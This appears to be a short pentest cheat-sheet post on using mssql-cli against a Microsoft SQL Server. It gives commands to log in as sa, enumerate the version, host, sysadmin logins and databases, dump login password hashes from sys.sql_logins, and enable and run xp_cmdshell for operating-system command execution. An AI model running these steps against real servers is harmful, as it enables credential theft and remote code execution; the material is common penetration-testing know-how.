Home mssql-cli command & paste
Post
Cancel

mssql-cli command & paste

Use the command below to connect to your MSSQL server:

mssql-cli -S <server URL> -d <database name> -U <username> -P <password>;

Use the MSSQL-CLI to connect to the remote MSSQL service and discover all databases, versioning, hostname, high privileged users, users hashes, etc.

python3 -m mssqlcli.main -S 10.10.10.50 -U sa -P <password>;

master> select @@version;
master> select host_name();
master> select loginname from syslogins where sysadmin = 1;
master> select name from sys.databases;
master> select * from sysusers;
master> select name, password_hash from master.sys.sql_logins;
master> select name, CONVERT(INT, ISNULL(value, value_in_use)) as IsConfigured FROM sys.configurations WHERE name = 'xp_cmdshell';
master> EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec SP_CONFIGURE 'xp_cmdshell', 1;RECONFIGURE
master> EXEC xp_cmdshell "command_to_execute"

Home of the tool

This post is licensed under CC BY 4.0 by the author.